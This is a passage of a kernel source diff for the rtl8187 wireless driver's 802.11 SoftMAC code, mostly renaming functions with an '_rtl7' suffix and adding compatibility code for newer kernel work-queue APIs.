ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = 